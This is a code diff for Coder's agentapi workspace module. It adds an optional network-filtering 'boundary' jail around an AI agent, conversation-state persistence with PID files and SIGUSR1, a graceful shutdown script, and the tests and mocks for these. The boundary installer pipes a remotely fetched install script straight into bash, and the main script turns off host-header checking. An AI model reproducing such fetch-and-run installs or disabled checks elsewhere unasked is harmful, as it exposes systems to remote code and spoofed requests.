expect(configCheck.stdout.trim()).toBe("missing");
|
||||
// AGENTAPI_BOUNDARY_PREFIX should NOT be in the mock log
|
||||
const mockLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/agentapi-mock.log",
|
||||
);
|
||||
expect(mockLog).not.toContain("AGENTAPI_BOUNDARY_PREFIX:");
|
||||
});
|
||||
|
||||
test("boundary-enabled", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {
|
||||
enable_boundary: "true",
|
||||
boundary_config_path: "/tmp/test-boundary.yaml",
|
||||
},
|
||||
});
|
||||
// Write boundary config to the path before running the module
|
||||
await execContainer(id, [
|
||||
"bash",
|
||||
"-c",
|
||||
`cat > /tmp/test-boundary.yaml <<'EOF'
|
||||
jail_type: landjail
|
||||
proxy_port: 8087
|
||||
log_level: warn
|
||||
allowlist:
|
||||
- "domain=api.example.com"
|
||||
EOF`,
|
||||
]);
|
||||
// Add mock coder binary for boundary setup
|
||||
await writeExecutable({
|
||||
containerId: id,
|
||||
filePath: "/usr/bin/coder",
|
||||
content: `#!/bin/bash
|
||||
if [ "$1" = "boundary" ]; then
|
||||
shift; shift; exec "$@"
|
||||
fi
|
||||
echo "mock coder"`,
|
||||
});
|
||||
await execModuleScript(id);
|
||||
await expectAgentAPIStarted(id);
|
||||
// Verify the config file exists at the specified path
|
||||
const config = await readFileContainer(id, "/tmp/test-boundary.yaml");
|
||||
expect(config).toContain("jail_type: landjail");
|
||||
expect(config).toContain("proxy_port: 8087");
|
||||
expect(config).toContain("domain=api.example.com");
|
||||
// AGENTAPI_BOUNDARY_PREFIX should be exported
|
||||
const mockLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/agentapi-mock.log",
|
||||
);
|
||||
expect(mockLog).toContain("AGENTAPI_BOUNDARY_PREFIX:");
|
||||
// E2E: start script should have used the wrapper
|
||||
const startLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/test-agentapi-start.log",
|
||||
);
|
||||
expect(startLog).toContain("Starting with boundary:");
|
||||
});
|
||||
|
||||
test("boundary-enabled-no-coder-binary", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {
|
||||
enable_boundary: "true",
|
||||
boundary_config_path: "/tmp/test-boundary.yaml",
|
||||
},
|
||||
});
|
||||
// Write boundary config
|
||||
await execContainer(id, [
|
||||
"bash",
|
||||
"-c",
|
||||
`cat > /tmp/test-boundary.yaml <<'EOF'
|
||||
jail_type: landjail
|
||||
proxy_port: 8087
|
||||
log_level: warn
|
||||
EOF`,
|
||||
]);
|
||||
// Remove coder binary to simulate it not being available
|
||||
await execContainer(
|
||||
id,
|
||||
[
|
||||
"bash",
|
||||
"-c",
|
||||
"rm -f /usr/bin/coder /usr/local/bin/coder 2>/dev/null; hash -r",
|
||||
],
|
||||
["--user", "root"],
|
||||
);
|
||||
const resp = await execModuleScript(id);
|
||||
// Script should fail because coder binary is required
|
||||
expect(resp.exitCode).not.toBe(0);
|
||||
const scriptLog = await readFileContainer(id, "/home/coder/script.log");
|
||||
expect(scriptLog).toContain("Boundary cannot be enabled");
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -164,6 +164,60 @@ variable "module_dir_name" {
|
||||
description = "Name of the subdirectory in the home directory for module files."
|
||||
}
|
||||
|
||||
variable "enable_boundary" {
|
||||
type = bool
|
||||
description = "Enable coder boundary for network filtering. Requires boundary_config to be set."
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "boundary_config_path" {
|
||||
type = string
|
||||
description = "Path to boundary config.yaml inside the workspace. If provided, exposed as BOUNDARY_CONFIG env var."
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "boundary_version" {
|
||||
type = string
|
||||
description = "Boundary version. When use_boundary_directly is true, a release version should be provided or 'latest' for the latest release. When compile_boundary_from_source is true, a valid git reference should be provided (tag, commit, branch)."
|
||||
default = "latest"
|
||||
}
|
||||
|
||||
variable "compile_boundary_from_source" {
|
||||
type = bool
|
||||
description = "Whether to compile boundary from source instead of using the official install script."
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "use_boundary_directly" {
|
||||
type = bool
|
||||
description = "Whether to use boundary binary directly instead of coder boundary subcommand. When false (default), uses coder boundary subcommand. When true, installs and uses boundary binary from release."
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "enable_state_persistence" {
|
||||
type = bool
|
||||
description = "Enable AgentAPI conversation state persistence across restarts."
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "state_file_path" {
|
||||
type = string
|
||||
description = "Path to the AgentAPI state file. Defaults to $HOME/<module_dir_name>/agentapi-state.json."
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "pid_file_path" {
|
||||
type = string
|
||||
description = "Path to the AgentAPI PID file. Defaults to $HOME/<module_dir_name>/agentapi.pid."
|
||||
default = ""
|
||||
}
|
||||
|
||||
resource "coder_env" "boundary_config" {
|
||||
count = var.enable_boundary && var.boundary_config_path != "" ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
name = "BOUNDARY_CONFIG"
|
||||
value = var.boundary_config_path
|
||||
}
|
||||
|
||||
locals {
|
||||
# we always trim the slash for consistency
|
||||
@@ -182,6 +236,8 @@ locals {
|
||||
agentapi_chat_base_path = var.agentapi_subdomain ? "" : "/@${data.coder_workspace_owner.me.name}/${data.coder_workspace.me.name}.${var.agent_id}/apps/${var.web_app_slug}/chat"
|
||||
main_script = file("${path.module}/scripts/main.sh")
|
||||
shutdown_script = file("${path.module}/scripts/agentapi-shutdown.sh")
|
||||
lib_script = file("${path.module}/scripts/lib.sh")
|
||||
boundary_script = file("${path.module}/scripts/boundary.sh")
|
||||
}
|
||||
|
||||
resource "coder_script" "agentapi" {
|
||||
@@ -195,6 +251,10 @@ resource "coder_script" "agentapi" {
|
||||
|
||||
echo -n '${base64encode(local.main_script)}' | base64 -d > /tmp/main.sh
|
||||
chmod +x /tmp/main.sh
|
||||
echo -n '${base64encode(local.lib_script)}' | base64 -d > /tmp/agentapi-lib.sh
|
||||
|
||||
echo -n '${base64encode(local.boundary_script)}' | base64 -d > /tmp/agentapi-boundary.sh
|
||||
chmod +x /tmp/agentapi-boundary.sh
|
||||
|
||||
ARG_MODULE_DIR_NAME='${var.module_dir_name}' \
|
||||
ARG_WORKDIR="$(echo -n '${base64encode(local.workdir)}' | base64 -d)" \
|
||||
@@ -209,6 +269,13 @@ resource "coder_script" "agentapi" {
|
||||
ARG_AGENTAPI_CHAT_BASE_PATH='${local.agentapi_chat_base_path}' \
|
||||
ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
|
||||
ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
|
||||
ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
|
||||
ARG_BOUNDARY_VERSION='${var.boundary_version}' \
|
||||
ARG_COMPILE_BOUNDARY_FROM_SOURCE='${var.compile_boundary_from_source}' \
|
||||
ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
|
||||
ARG_ENABLE_STATE_PERSISTENCE='${var.enable_state_persistence}' \
|
||||
ARG_STATE_FILE_PATH='${var.state_file_path}' \
|
||||
ARG_PID_FILE_PATH='${var.pid_file_path}' \
|
||||
/tmp/main.sh
|
||||
EOT
|
||||
run_on_start = true
|
||||
@@ -225,10 +292,14 @@ resource "coder_script" "agentapi_shutdown" {
|
||||
|
||||
echo -n '${base64encode(local.shutdown_script)}' | base64 -d > /tmp/agentapi-shutdown.sh
|
||||
chmod +x /tmp/agentapi-shutdown.sh
|
||||
echo -n '${base64encode(local.lib_script)}' | base64 -d > /tmp/agentapi-lib.sh
|
||||
|
||||
ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
|
||||
ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
|
||||
ARG_AGENTAPI_PORT='${var.agentapi_port}' \
|
||||
ARG_ENABLE_STATE_PERSISTENCE='${var.enable_state_persistence}' \
|
||||
ARG_MODULE_DIR_NAME='${var.module_dir_name}' \
|
||||
ARG_PID_FILE_PATH='${var.pid_file_path}' \
|
||||
/tmp/agentapi-shutdown.sh
|
||||
EOT
|
||||
}
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
#!/usr/bin/env bash
|
||||
# AgentAPI shutdown script.
|
||||
#
|
||||
# Captures the last 10 messages from AgentAPI and posts them to Coder instance
|
||||
# as a snapshot. This script is called during workspace shutdown to access
|
||||
# conversation history for paused tasks.
|
||||
# Performs a graceful shutdown of AgentAPI: sends SIGUSR1 to trigger state save,
|
||||
# captures the last 10 messages as a log snapshot posted to the Coder instance,
|
||||
# then sends SIGTERM for graceful termination.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
@@ -11,6 +11,13 @@ set -euo pipefail
|
||||
readonly TASK_ID="${ARG_TASK_ID:-}"
|
||||
readonly TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
|
||||
readonly AGENTAPI_PORT="${ARG_AGENTAPI_PORT:-3284}"
|
||||
readonly ENABLE_STATE_PERSISTENCE="${ARG_ENABLE_STATE_PERSISTENCE:-false}"
|
||||
readonly MODULE_DIR_NAME="${ARG_MODULE_DIR_NAME:-}"
|
||||
readonly PID_FILE_PATH="${ARG_PID_FILE_PATH:-${MODULE_DIR_NAME:+$HOME/$MODULE_DIR_NAME/agentapi.pid}}"
|
||||
|
||||
# Source shared utilities (written by the coder_script wrapper).
|
||||
# shellcheck source=lib.sh
|
||||
source /tmp/agentapi-lib.sh
|
||||
|
||||
# Runtime environment variables.
|
||||
readonly CODER_AGENT_URL="${CODER_AGENT_URL:-}"
|
||||
@@ -20,7 +27,7 @@ readonly CODER_AGENT_TOKEN="${CODER_AGENT_TOKEN:-}"
|
||||
readonly MAX_PAYLOAD_SIZE=65536 # 64KB
|
||||
readonly MAX_MESSAGE_CONTENT=57344 # 56KB
|
||||
readonly MAX_MESSAGES=10
|
||||
readonly FETCH_TIMEOUT=5
|
||||
readonly FETCH_TIMEOUT=10
|
||||
readonly POST_TIMEOUT=10
|
||||
|
||||
log() {
|
||||
@@ -138,44 +145,45 @@ post_task_log_snapshot() {
|
||||
capture_task_log_snapshot() {
|
||||
if [[ -z $TASK_ID ]]; then
|
||||
log "No task ID, skipping log snapshot"
|
||||
exit 0
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [[ -z $CODER_AGENT_URL ]]; then
|
||||
error "CODER_AGENT_URL not set, cannot capture log snapshot"
|
||||
exit 1
|
||||
return 1
|
||||
fi
|
||||
|
||||
if [[ -z $CODER_AGENT_TOKEN ]]; then
|
||||
error "CODER_AGENT_TOKEN not set, cannot capture log snapshot"
|
||||
exit 1
|
||||
return 1
|
||||
fi
|
||||
|
||||
if ! command -v jq > /dev/null 2>&1; then
|
||||
error "jq not found, cannot capture log snapshot"
|
||||
exit 1
|
||||
return 1
|
||||
fi
|
||||
|
||||
if ! command -v curl > /dev/null 2>&1; then
|
||||
error "curl not found, cannot capture log snapshot"
|
||||
exit 1
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Not local, must be visible to the EXIT trap after the function returns.
|
||||
tmpdir=$(mktemp -d)
|
||||
trap 'rm -rf "$tmpdir"' EXIT
|
||||
trap 'trap - EXIT; rm -rf "$tmpdir"' EXIT
|
||||
|
||||
local payload_file="${tmpdir}/payload.json"
|
||||
|
||||
if ! fetch_and_build_messages_payload "$payload_file"; then
|
||||
error "Cannot capture log snapshot without messages"
|
||||
exit 1
|
||||
return 1
|
||||
fi
|
||||
|
||||
local message_count
|
||||
message_count=$(jq '.messages | length' < "$payload_file")
|
||||
if ((message_count == 0)); then
|
||||
log "No messages for log snapshot"
|
||||
exit 0
|
||||
return 0
|
||||
fi
|
||||
|
||||
log "Retrieved $message_count messages for log snapshot"
|
||||
@@ -183,7 +191,7 @@ capture_task_log_snapshot() {
|
||||
# Ensure payload fits within size limit.
|
||||
if ! truncate_messages_payload_to_size "$payload_file" "$MAX_PAYLOAD_SIZE"; then
|
||||
error "Failed to truncate payload to size limit"
|
||||
exit 1
|
||||
return 1
|
||||
fi
|
||||
|
||||
local final_size final_count
|
||||
@@ -193,19 +201,60 @@ capture_task_log_snapshot() {
|
||||
|
||||
if ! post_task_log_snapshot "$payload_file" "$tmpdir"; then
|
||||
error "Log snapshot capture failed"
|
||||
exit 1
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
log "Shutting down AgentAPI"
|
||||
|
||||
local agentapi_pid=
|
||||
if [[ -n $PID_FILE_PATH ]]; then
|
||||
agentapi_pid=$(cat "$PID_FILE_PATH" 2> /dev/null || echo "")
|
||||
fi
|
||||
|
||||
# State persistence is only enabled when the binary supports it (>= v0.12.0).
|
||||
# The default SIGUSR1 disposition on Linux is terminate, so sending it to an
|
||||
# older binary would kill the process.
|
||||
local state_persistence=0
|
||||
if [[ $ENABLE_STATE_PERSISTENCE == true ]] && version_at_least 0.12.0 "$(agentapi_version)"; then
|
||||
state_persistence=1
|
||||
fi
|
||||
|
||||
# Trigger state save via SIGUSR1 (saves without exiting).
|
||||
if ((state_persistence)) && [[ -n $agentapi_pid ]] && kill -0 "$agentapi_pid" 2> /dev/null; then
|
||||
log "Sending SIGUSR1 to AgentAPI (pid $agentapi_pid) to save state"
|
||||
kill -USR1 "$agentapi_pid" || true
|
||||
# Allow time for state save to complete before proceeding.
|
||||
sleep 1
|
||||
fi
|
||||
|
||||
# Capture log snapshot for task history.
|
||||
if [[ $TASK_LOG_SNAPSHOT == true ]]; then
|
||||
capture_task_log_snapshot
|
||||
# Subshell scopes the EXIT trap (tmpdir cleanup) inside
|
||||
# capture_task_log_snapshot and preserves set -e, which
|
||||
# || would otherwise disable for the function body.
|
||||
(capture_task_log_snapshot) || log "Log snapshot capture failed, continuing shutdown"
|
||||
else
|
||||
log "Log snapshot disabled, skipping"
|
||||
fi
|
||||
|
||||
# Graceful termination.
|
||||
if [[ -n $agentapi_pid ]] && kill -0 "$agentapi_pid" 2> /dev/null; then
|
||||
log "Sending SIGTERM to AgentAPI (pid $agentapi_pid)"
|
||||
kill -TERM "$agentapi_pid" 2> /dev/null || true
|
||||
|
||||
# Wait for process to exit to guarantee a clean shutdown.
|
||||
local elapsed=0
|
||||
while kill -0 "$agentapi_pid" 2> /dev/null; do
|
||||
sleep 1
|
||||
((elapsed++)) || true
|
||||
if ((elapsed % 5 == 0)); then
|
||||
log "Warning: AgentAPI (pid $agentapi_pid) still running after ${elapsed}s"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
log "Shutdown complete"
|
||||
}
|
||||
|
||||
|
||||
@@ -3,20 +3,22 @@ set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
port=${1:-3284}
|
||||
max_attempts=150
|
||||
|
||||
# This script waits for the agentapi server to start on port 3284.
|
||||
# This script waits for the agentapi server to start on the given port.
|
||||
# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds.
|
||||
# It considers the server started after 3 consecutive successful responses.
|
||||
|
||||
agentapi_started=false
|
||||
|
||||
echo "Waiting for agentapi server to start on port $port..."
|
||||
for i in $(seq 1 150); do
|
||||
for i in $(seq 1 "$max_attempts"); do
|
||||
for j in $(seq 1 3); do
|
||||
sleep 0.1
|
||||
if curl -fs -o /dev/null "http://localhost:$port/status"; then
|
||||
echo "agentapi response received ($j/3)"
|
||||
else
|
||||
echo "agentapi server not responding ($i/15)"
|
||||
echo "agentapi server not responding ($i/$max_attempts)"
|
||||
continue 2
|
||||
fi
|
||||
done
|
||||
@@ -25,7 +27,7 @@ for i in $(seq 1 150); do
|
||||
done
|
||||
|
||||
if [ "$agentapi_started" != "true" ]; then
|
||||
echo "Error: agentapi server did not start on port $port after 15 seconds."
|
||||
echo "Error: agentapi server did not start on port $port after $max_attempts attempts."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
#!/bin/bash
|
||||
# boundary.sh - Boundary installation and setup for agentapi module.
|
||||
# Sourced by main.sh when ENABLE_BOUNDARY=true.
|
||||
# Exports AGENTAPI_BOUNDARY_PREFIX for use by module start scripts.
|
||||
|
||||
validate_boundary_subcommand() {
|
||||
if command_exists coder; then
|
||||
if coder boundary --help > /dev/null 2>&1; then
|
||||
return 0
|
||||
else
|
||||
echo "Error: 'coder' command found but does not support 'boundary' subcommand. Please enable install_boundary."
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "Error: ENABLE_BOUNDARY=true, but 'coder' command not found. Boundary cannot be enabled." >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Install boundary binary if needed.
|
||||
# Uses one of three strategies:
|
||||
# 1. Compile from source (compile_boundary_from_source=true)
|
||||
# 2. Install from release (use_boundary_directly=true)
|
||||
# 3. Use coder boundary subcommand (default, no installation needed)
|
||||
install_boundary() {
|
||||
if [ "${COMPILE_BOUNDARY_FROM_SOURCE}" = "true" ]; then
|
||||
echo "Compiling boundary from source (version: ${BOUNDARY_VERSION})"
|
||||
|
||||
# Remove existing boundary directory to allow re-running safely
|
||||
if [ -d boundary ]; then
|
||||
rm -rf boundary
|
||||
fi
|
||||
|
||||
echo "Cloning boundary repository"
|
||||
git clone https://github.com/coder/boundary.git
|
||||
cd boundary || exit 1
|
||||
git checkout "${BOUNDARY_VERSION}"
|
||||
|
||||
make build
|
||||
|
||||
sudo cp boundary /usr/local/bin/
|
||||
sudo chmod +x /usr/local/bin/boundary
|
||||
cd - || exit 1
|
||||
elif [ "${USE_BOUNDARY_DIRECTLY}" = "true" ]; then
|
||||
echo "Installing boundary using official install script (version: ${BOUNDARY_VERSION})"
|
||||
curl -fsSL https://raw.githubusercontent.com/coder/boundary/main/install.sh | bash -s -- --version "${BOUNDARY_VERSION}"
|
||||
else
|
||||
validate_boundary_subcommand
|
||||
echo "Using coder boundary subcommand (provided by Coder)"
|
||||
fi
|
||||
}
|
||||
|
||||
# Set up boundary: install, write config, create wrapper script.
|
||||
# Exports AGENTAPI_BOUNDARY_PREFIX pointing to the wrapper script.
|
||||
setup_boundary() {
|
||||
local module_path="$1"
|
||||
|
||||
echo "Setting up coder boundary..."
|
||||
|
||||
# Install boundary binary if needed
|
||||
install_boundary
|
||||
|
||||
# Determine which boundary command to use and create wrapper script
|
||||
BOUNDARY_WRAPPER_SCRIPT="$module_path/boundary-wrapper.sh"
|
||||
|
||||
if [ "${COMPILE_BOUNDARY_FROM_SOURCE}" = "true" ] || [ "${USE_BOUNDARY_DIRECTLY}" = "true" ]; then
|
||||
# Use boundary binary directly (from compilation or release installation)
|
||||
cat > "${BOUNDARY_WRAPPER_SCRIPT}" << 'WRAPPER_EOF'
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
exec boundary -- "$@"
|
||||
WRAPPER_EOF
|
||||
else
|
||||
# Use coder boundary subcommand (default)
|
||||
# Copy coder binary to strip CAP_NET_ADMIN capabilities.
|
||||
# This is necessary because boundary doesn't work with privileged binaries
|
||||
# (you can't launch privileged binaries inside network namespaces unless
|
||||
# you have sys_admin).
|
||||
CODER_NO_CAPS="$module_path/coder-no-caps"
|
||||
if ! cp "$(which coder)" "$CODER_NO_CAPS"; then
|
||||
echo "Error: Failed to copy coder binary to ${CODER_NO_CAPS}. Boundary cannot be enabled." >&2
|
||||
exit 1
|
||||
fi
|
||||
cat > "${BOUNDARY_WRAPPER_SCRIPT}" << 'WRAPPER_EOF'
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
exec "${SCRIPT_DIR}/coder-no-caps" boundary -- "$@"
|
||||
WRAPPER_EOF
|
||||
fi
|
||||
|
||||
chmod +x "${BOUNDARY_WRAPPER_SCRIPT}"
|
||||
export AGENTAPI_BOUNDARY_PREFIX="${BOUNDARY_WRAPPER_SCRIPT}"
|
||||
echo "Boundary wrapper configured: ${AGENTAPI_BOUNDARY_PREFIX}"
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env bash
|
||||
# Shared utility functions for agentapi module scripts.
|
||||
|
||||
# version_at_least checks if an actual version meets a minimum requirement.
|
||||
# Non-semver strings (e.g. "latest", custom builds) always pass.
|
||||
# Usage: version_at_least <minimum> <actual>
|
||||
# version_at_least v0.12.0 v0.10.0 # returns 1 (false)
|
||||
# version_at_least v0.12.0 v0.12.0 # returns 0 (true)
|
||||
# version_at_least v0.12.0 latest # returns 0 (true)
|
||||
version_at_least() {
|
||||
local min="${1#v}"
|
||||
local actual="${2#v}"
|
||||
|
||||
# Non-semver versions pass through (e.g. "latest", custom builds).
|
||||
if ! [[ $actual =~ ^([0-9]+)\.([0-9]+)\.([0-9]+)$ ]]; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
local act_major="${BASH_REMATCH[1]}"
|
||||
local act_minor="${BASH_REMATCH[2]}"
|
||||
local act_patch="${BASH_REMATCH[3]}"
|
||||
|
||||
[[ $min =~ ^([0-9]+)\.([0-9]+)\.([0-9]+)$ ]] || return 0
|
||||
|
||||
local min_major="${BASH_REMATCH[1]}"
|
||||
local min_minor="${BASH_REMATCH[2]}"
|
||||
local min_patch="${BASH_REMATCH[3]}"
|
||||
|
||||
# Arithmetic expressions set exit status: 0 (true) if non-zero, 1 (false) if zero.
|
||||
if ((act_major != min_major)); then
|
||||
((act_major > min_major))
|
||||
return
|
||||
fi
|
||||
if ((act_minor != min_minor)); then
|
||||
((act_minor > min_minor))
|
||||
return
|
||||
fi
|
||||
((act_patch >= min_patch))
|
||||
}
|
||||
|
||||
# agentapi_version returns the installed agentapi binary version (e.g. "0.11.8").
|
||||
# Returns empty string if the binary is missing or doesn't support --version.
|
||||
agentapi_version() {
|
||||
agentapi --version 2> /dev/null | awk '{print $NF}'
|
||||
}
|
||||
@@ -16,8 +16,18 @@ AGENTAPI_PORT="$ARG_AGENTAPI_PORT"
|
||||
AGENTAPI_CHAT_BASE_PATH="${ARG_AGENTAPI_CHAT_BASE_PATH:-}"
|
||||
TASK_ID="${ARG_TASK_ID:-}"
|
||||
TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
|
||||
ENABLE_BOUNDARY="${ARG_ENABLE_BOUNDARY:-false}"
|
||||
BOUNDARY_VERSION="${ARG_BOUNDARY_VERSION:-latest}"
|
||||
COMPILE_BOUNDARY_FROM_SOURCE="${ARG_COMPILE_BOUNDARY_FROM_SOURCE:-false}"
|
||||
USE_BOUNDARY_DIRECTLY="${ARG_USE_BOUNDARY_DIRECTLY:-false}"
|
||||
ENABLE_STATE_PERSISTENCE="${ARG_ENABLE_STATE_PERSISTENCE:-false}"
|
||||
STATE_FILE_PATH="${ARG_STATE_FILE_PATH:-}"
|
||||
PID_FILE_PATH="${ARG_PID_FILE_PATH:-}"
|
||||
set +o nounset
|
||||
|
||||
# shellcheck source=lib.sh
|
||||
source /tmp/agentapi-lib.sh
|
||||
|
||||
command_exists() {
|
||||
command -v "$1" > /dev/null 2>&1
|
||||
}
|
||||
@@ -103,8 +113,30 @@ export LC_ALL=en_US.UTF-8
|
||||
|
||||
cd "${WORKDIR}"
|
||||
|
||||
# Set up boundary if enabled
|
||||
export AGENTAPI_BOUNDARY_PREFIX=""
|
||||
if [ "${ENABLE_BOUNDARY}" = "true" ]; then
|
||||
# shellcheck source=boundary.sh
|
||||
source /tmp/agentapi-boundary.sh
|
||||
setup_boundary "$module_path"
|
||||
fi
|
||||
|
||||
export AGENTAPI_CHAT_BASE_PATH="${AGENTAPI_CHAT_BASE_PATH:-}"
|
||||
# Disable host header check since AgentAPI is proxied by Coder (which does its own validation)
|
||||
export AGENTAPI_ALLOWED_HOSTS="*"
|
||||
|
||||
export AGENTAPI_PID_FILE="${PID_FILE_PATH:-$module_path/agentapi.pid}"
|
||||
# Only set state env vars when persistence is enabled and the binary supports
|
||||
# it. State persistence requires agentapi >= v0.12.0.
|
||||
if [ "${ENABLE_STATE_PERSISTENCE}" = "true" ]; then
|
||||
actual_version=$(agentapi_version)
|
||||
if version_at_least 0.12.0 "$actual_version"; then
|
||||
export AGENTAPI_STATE_FILE="${STATE_FILE_PATH:-$module_path/agentapi-state.json}"
|
||||
export AGENTAPI_SAVE_STATE="true"
|
||||
export AGENTAPI_LOAD_STATE="true"
|
||||
else
|
||||
echo "Warning: State persistence requires agentapi >= v0.12.0 (current: ${actual_version:-unknown}), skipping."
|
||||
fi
|
||||
fi
|
||||
nohup "$module_path/scripts/agentapi-start.sh" true "${AGENTAPI_PORT}" &> "$module_path/agentapi-start.log" &
|
||||
"$module_path/scripts/agentapi-wait-for-start.sh" "${AGENTAPI_PORT}"
|
||||
|
||||
@@ -3,8 +3,26 @@
|
||||
// Usage: MESSAGES='[...]' node agentapi-mock-shutdown.js [port]
|
||||
|
||||
const http = require("http");
|
||||
const fs = require("fs");
|
||||
const port = process.argv[2] || 3284;
|
||||
|
||||
// Write PID file for shutdown script.
|
||||
if (process.env.AGENTAPI_PID_FILE) {
|
||||
const path = require("path");
|
||||
fs.mkdirSync(path.dirname(process.env.AGENTAPI_PID_FILE), {
|
||||
recursive: true,
|
||||
});
|
||||
fs.writeFileSync(process.env.AGENTAPI_PID_FILE, String(process.pid));
|
||||
}
|
||||
|
||||
// Handle SIGUSR1 (state save signal from shutdown script).
|
||||
process.on("SIGUSR1", () => {
|
||||
fs.writeFileSync(
|
||||
"/tmp/sigusr1-received",
|
||||
`SIGUSR1 received at ${Date.now()}\n`,
|
||||
);
|
||||
});
|
||||
|
||||
// Parse messages from environment or use default
|
||||
let messages = [];
|
||||
if (process.env.MESSAGES) {
|
||||
|
||||
@@ -6,12 +6,50 @@ const args = process.argv.slice(2);
|
||||
const portIdx = args.findIndex((arg) => arg === "--port") + 1;
|
||||
const port = portIdx ? args[portIdx] : 3284;
|
||||
|
||||
if (args.includes("--version")) {
|
||||
console.log("agentapi version 99.99.99");
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
console.log(`starting server on port ${port}`);
|
||||
fs.writeFileSync(
|
||||
"/home/coder/agentapi-mock.log",
|
||||
`AGENTAPI_ALLOWED_HOSTS: ${process.env.AGENTAPI_ALLOWED_HOSTS}`,
|
||||
);
|
||||
|
||||
// Log state persistence env vars.
|
||||
for (const v of [
|
||||
"AGENTAPI_STATE_FILE",
|
||||
"AGENTAPI_PID_FILE",
|
||||
"AGENTAPI_SAVE_STATE",
|
||||
"AGENTAPI_LOAD_STATE",
|
||||
]) {
|
||||
if (process.env[v]) {
|
||||
fs.appendFileSync(
|
||||
"/home/coder/agentapi-mock.log",
|
||||
`\n${v}: ${process.env[v]}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
// Log boundary env vars.
|
||||
for (const v of ["AGENTAPI_BOUNDARY_PREFIX"]) {
|
||||
if (process.env[v]) {
|
||||
fs.appendFileSync(
|
||||
"/home/coder/agentapi-mock.log",
|
||||
`\n${v}: ${process.env[v]}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Write PID file for shutdown script.
|
||||
if (process.env.AGENTAPI_PID_FILE) {
|
||||
const path = require("path");
|
||||
fs.mkdirSync(path.dirname(process.env.AGENTAPI_PID_FILE), {
|
||||
recursive: true,
|
||||
});
|
||||
fs.writeFileSync(process.env.AGENTAPI_PID_FILE, String(process.pid));
|
||||
}
|
||||
|
||||
http
|
||||
.createServer(function (_request, response) {
|
||||
response.writeHead(200);
|
||||
|
||||
+13
-3
@@ -17,6 +17,16 @@ if [ -n "$AGENTAPI_CHAT_BASE_PATH" ]; then
|
||||
export AGENTAPI_CHAT_BASE_PATH
|
||||
fi
|
||||
|
||||
agentapi server --port "$port" --term-width 67 --term-height 1190 -- \
|
||||
bash -c aiagent \
|
||||
> "$log_file_path" 2>&1
|
||||
# Use boundary wrapper if configured by agentapi module.
|
||||
# AGENTAPI_BOUNDARY_PREFIX is set by the agentapi module's main.sh
|
||||
# and points to a wrapper script that runs the command through coder boundary.
|
||||
if [ -n "${AGENTAPI_BOUNDARY_PREFIX:-}" ]; then
|
||||
echo "Starting with boundary: ${AGENTAPI_BOUNDARY_PREFIX}" >> /home/coder/test-agentapi-start.log
|
||||
agentapi server --port "$port" --term-width 67 --term-height 1190 -- \
|
||||
"${AGENTAPI_BOUNDARY_PREFIX}" bash -c aiagent \
|
||||
> "$log_file_path" 2>&1
|
||||
else
|
||||
agentapi server --port "$port" --term-width 67 --term-height 1190 -- \
|
||||
bash -c aiagent \
|
||||
> "$log_file_path" 2>&1
|
||||
fi
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
---
|
||||
display_name: AI Bridge Proxy
|
||||
description: Configure a workspace to route AI tool traffic through AI Bridge via AI Bridge Proxy.
|
||||
icon: ../../../../.icons/coder.svg
|
||||
verified: true
|
||||
tags: [helper, aibridge]
|
||||
---
|
||||
|
||||
# AI Bridge Proxy
|
||||
|
||||
This module configures a Coder workspace to use [AI Bridge Proxy](https://coder.com/docs/ai-coder/ai-bridge/ai-bridge-proxy).
|
||||
It downloads the proxy's CA certificate from the Coder deployment and provides Terraform outputs (`proxy_auth_url` and `cert_path`) that tool-specific modules can use to route their traffic through the proxy.
|
||||
|
||||
```tf
|
||||
module "aibridge-proxy" {
|
||||
source = "registry.coder.com/coder/aibridge-proxy/coder"
|
||||
version = "1.0.0"
|
||||
agent_id = coder_agent.main.id
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> AI Bridge Proxy is a Premium Coder feature that requires [AI Governance Add-On](https://coder.com/docs/ai-coder/ai-governance).
|
||||
